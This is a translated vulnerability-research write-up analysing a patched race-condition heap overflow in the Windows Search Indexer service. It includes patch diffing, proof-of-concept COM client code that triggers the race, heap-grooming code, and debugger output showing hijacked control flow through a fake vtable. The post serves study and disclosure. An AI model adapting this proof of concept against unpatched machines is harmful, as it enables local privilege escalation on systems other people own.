Windows Search Indexer 介绍
Windows Search Indexer是一项Windows服务，用于为Windows Search处理文件索引，这为Windows内置的文件搜索引擎提供了动力，该引擎为从“开始”菜单搜索框到Windows资源管理器甚至是“库”函数的所有函数提供支持。
Search Indexer有助于从GUI的角度通过GUI和索引选项将用户定向到服务界面，如下所示。
索引过程中的所有数据库和临时数据都存储为文件并进行管理。通常，在Windows Service中，整个过程都是使用NT AUTHORITY SYSTEM特权执行的。如果由于修改文件路径而碰巧存在逻辑漏洞，则可能会触发特权提升。(例如Symlink攻击)
鉴于最近在Windows Service中发生的大多数漏洞都是由于逻辑漏洞而导致的LPE漏洞，因此我们假定Search Indexer可能有类似的漏洞，但是，我们的分析结果并非如此，随后将介绍更多详细信息。
补丁对比
分析环境是Windows7 x86，因为它具有较小的更新文件，并且易于识别差异，我们下载了该模块的两个补丁版本。
可以从Microsoft更新目录下载它们：
- patch程序版本(1月程序)：KB4534314 2
- 补丁程序版本(2月补丁)：KB4537813 3
我们从patch过的二进制文件的BinDiff开始(在这种情况下，只有一个：searchindexer.exe)
大多数补丁都是在CSearchCrawlScopeManager和CSearchRoot类中完成的。前者在1月进行了patch，而后者在下个月进行了patch。这两个类都包含相同的更改，因此我们专注于patch的CSearchRoot。
下图显示添加了原始代码，该代码使用Lock来安全地访问共享资源。我们推断，访问共享资源会导致竞争条件漏洞的发生，因为该补丁由putter, getter函数组成。
界面互动
我们参考了MSDN，了解如何使用这些类，并发现它们都与“爬网管理器”相关的，我们可以检查此类的方法信息。
MSDN说4：
爬网范围管理器(CSM)是一组API，可添加，删除和枚举Windows搜索索引器的搜索root和范围规则。当希望索引器开始对新容器进行爬网时，可以使用CSM设置搜索root目录，并为搜索root目录内的路径设置作用域规则。
CSM界面如下：
- IEnumSearchRoots
- IEnumSearchScopeRules
- ISearchCrawlScopeManager
- ISearchCrawlScopeManager2
- ISearchRoot
- ISearchScopeRule
- ISearchItem
例如，添加，删除和枚举搜索root和范围规则可以通过以下方式编写：
ISearchCrawlScopeManager告知搜索引擎要爬网和/或监视的容器，以及要包含或排除的容器下的项目。若要添加新的搜索，需要实例化ISearchRoot对象，设置root属性，然后调用ISearchCrawlScopeManager :: AddRoot并将其传递给ISearchRoot对象的指针。
- // Add RootInfo & Scope Rule
- pISearchRoot->put_RootURL(L"file:///C:\ ");
- pSearchCrawlScopeManager->AddRoot(pISearchRoot);
- pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS);
- // Set Registry key
- pSearchCrawlScopeManager->SaveAll();
当我们不再希望对该URL编制索引时，我们还可以使用ISearchCrawlScopeManager从爬网范围中删除root。删除root还会删除该URL的所有范围规则。我们可以卸载应用程序，删除所有数据，然后从爬网范围中删除搜索root，并且“爬网范围管理器”将删除root以及与该root相关联的所有范围规则。
- // Remove RootInfo & Scope Rule
- ISearchCrawlScopeManager->RemoveRoot(pszURL);
- // Set Registry key
- ISearchCrawlScopeManager->SaveAll();
CSM使用IEnumSearchRoots枚举搜索root。出于多种目的，我们可以使用此类枚举搜索root;例如，我们可能想要在用户界面中显示整个爬网范围，或者发现爬网范围中是否已经有特定的root目录或root目录的子级。
- // Display RootInfo
- PWSTR pszUrl = NULL;
- pSearchRoot->get_RootURL(&pszUrl);
- wcout << L"\t" << pszUrl;
- // Display Scope Rule
- IEnumSearchScopeRules *pScopeRules;
- pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules);
- ISearchScopeRule *pSearchScopeRule;
- pScopeRules->Next(1, &pSearchScopeRule, NULL))
- pSearchScopeRule->get_PatternOrURL(&pszUrl);
- wcout << L"\t" << pszUrl;
我们认为在处理URL的过程中会出现漏洞，因此，我们开始分析根本原因。
漏洞分析
我们针对以下函数进行了二进制分析：
- ISearchRoot :: put_RootURL
- ISearchRoot :: get_RootURL
在分析ISearchRoot :: put_RootURL和ISearchRoot :: get_RootURL时，我们发现引用了对象的共享变量(CSearchRoot + 0x14)。
put_RootURL函数将用户控制的数据写入CSearchRoot + 0x14的内存中。get_RootURL函数读取位于CSearchRoot + 0x14内存中的数据，该漏洞似乎是由与补丁程序有关的共享变量引起的。
因此，我们终于到了漏洞开始的地方，该漏洞在发生以下情况时可能会触发：
1. 首次提取：用作内存分配大小(第9行)
2. 第二次获取：用作内存副本大小(第13行)
如果第一个和第二个的大小不同，则可能会发生堆溢出，尤其是在第二个提取的大小较大时。我们认为，在发生内存复制之前，我们通过竞争条件充分更改了pszURL的大小。
崩溃现场
通过OleView 5，我们可以看到Windows Search Manager提供的界面，而且我们需要跟据接口的方法来攻击漏洞函数。
我们可以通过MSDN 6提供的基于COM的命令行源代码轻松地对其进行测试，并编写了攻击存在漏洞的函数的COM客户端代码，如下所示：
- int wmain(int argc, wchar_t *argv[])
- {
- // Initialize COM library
- CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
- // Class instantiate
- ISearchRoot *pISearchRoot;
- CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot));
- // Vulnerable functions hit
- pISearchRoot->put_RootURL(L"Shared RootURL");
- PWSTR pszUrl = NULL;
- HRESULT hr = pSearchRoot->get_RootURL(&pszUrl);
- wcout << L"\t" << pszUrl;
- CoTaskMemFree(pszUrl);
- // Free COM resource, End
- pISearchRoot->Release();
- CoUninitialize();
- }
漏洞触发非常简单。我们创建了两个线程：一个线程将不同长度的数据写入共享缓冲区，另一个线程同时从共享缓冲区读取数据。
- DWORD __stdcall thread_putter(LPVOID param)
- {
- ISearchManager *pSearchManager = (ISearchManager*)param;
- while (1) {
- pSearchManager->put_RootURL(L"AA");
- pSearchManager->put_RootURL(L"AAAAAAAAAA");
- }
- return 0;
- }
- DWORD __stdcall thread_getter(LPVOID param)
- {
- ISearchRoot *pISearchRoot = (ISearchRoot*)param;
- PWSTR get_pszUrl;
- while (1) {
- pISearchRoot->get_RootURL(&get_pszUrl);
- }
- return 0;
- }
崩溃了!
毫无疑问，在StringCchCopyW函数复制RootURL数据之前，竞争条件已经成功，从而导致堆溢出。
劫持EIP
为了控制EIP，我们应该为发生漏洞的Sever堆创建一个对象。
我们编写了如下的客户端代码，以跟踪堆状态。
- int wmain(int argc, wchar_t *argv[])
- {
- CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE);
- ISearchRoot *pISearchRoot[20];
- for (int i = 0; i < 20; i++) {
- CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i]));
- }
- pISearchRoot[3]->Release();
- pISearchRoot[5]->Release();
- pISearchRoot[7]->Release();
- pISearchRoot[9]->Release();
- pISearchRoot[11]->Release();
- CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL);
- CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL);
- Sleep(500);
- CoUninitialize();
- return 0;
- }
我们发现，如果客户端不释放pISearchRoot对象，则IRpcStubBuffer对象将保留在服务器堆上。而且我们还看到IRpcStubBuffer对象保持在发生漏洞的堆的位置附近。
- 0:010> !heap -p -all
- ...
- 03d58f10 0005 0005 [00] 03d58f18 0001a - (busy) <-- CoTaskMalloc return
- mssprxy!_idxpi_IID_Lookup (mssprxy+0x75)
- 03d58f38 0005 0005 [00] 03d58f40 00020 - (free)
- 03d58f60 0005 0005 [00] 03d58f68 0001c - (busy) <-- IRpcStubBuffer Obj
- ? mssprxy!_ISearchRootStubVtbl+10
- 03d58f88 0005 0005 [00] 03d58f90 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
- 03d58fb0 0005 0005 [00] 03d58fb8 00020 - (busy)
- 03d58fd8 0005 0005 [00] 03d58fe0 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
- 03d59000 0005 0005 [00] 03d59008 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
- 03d59028 0005 0005 [00] 03d59030 00020 - (busy)
- 03d59050 0005 0005 [00] 03d59058 00020 - (busy)
- 03d59078 0005 0005 [00] 03d59080 00020 - (free)
- 03d590a0 0005 0005 [00] 03d590a8 00020 - (free)
- 03d590c8 0005 0005 [00] 03d590d0 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
在COM中，所有接口都有自己的接口存根空间。存根是用于在RPC通信期间支持远程方法调用的较小内存空间，IRpcStubBuffer是此类接口存root的主要接口。在此过程中，支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服务器的堆上。
IRpcStubBuffer的vtfunction如下：
- 0:003> dds poi(03d58f18) l10
- 71215bc8 7121707e mssprxy!CStdStubBuffer_QueryInterface
- 71215bcc 71217073 mssprxy!CStdStubBuffer_AddRef
- 71215bd0 71216840 mssprxy!CStdStubBuffer_Release
- 71215bd4 71217926 mssprxy!CStdStubBuffer_Connect
- 71215bd8 71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize();
- 71215bdc 7121687c mssprxy!CStdStubBuffer_Invoke
- 71215be0 7121791b mssprxy!CStdStubBuffer_IsIIDSupported
- 71215be4 71217910 mssprxy!CStdStubBuffer_CountRefs
- 71215be8 71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface
- 71215bec 712178fa mssprxy!CStdStubBuffer_DebugServerRelease
当客户端的COM未初始化时，IRpcStubBuffer :: Disconnect断开对象指针的所有连接。因此，如果客户端调用CoUninitialize函数，则会在服务器上调用CStdStubBuffer_Disconnect函数。这意味着用户可以构造伪造的vtable并调用该函数。
但是，我们并不总是看到IRpcStubBuffer分配在同一位置堆上。因此，需要多次尝试来构造堆布局，经过几次尝试后，IRpcStubBuffer对象被如下可控值(0x45454545)覆盖。
最后，我们可以证明可以间接调用内存中的函数!
分析结论
Windows Service中最近发生的大多数LPE漏洞都是逻辑漏洞。通过这种方式，对Windows Search Indexer的内存损坏漏洞进行分析非常有趣。因此，此后的Windows Service中很可能会出现这种内存损坏漏洞。
我们希望该分析将对其他漏洞研究人员有所帮助，并可以用于进一步的研究。
参考文献
- https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments ↩
- https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314 ↩
- https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813 ↩
- https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm ↩
- https://github.com/tyranid/oleviewdotnet ↩
- https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline ↩
本文翻译自：http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html如若转载，请注明原文地址。
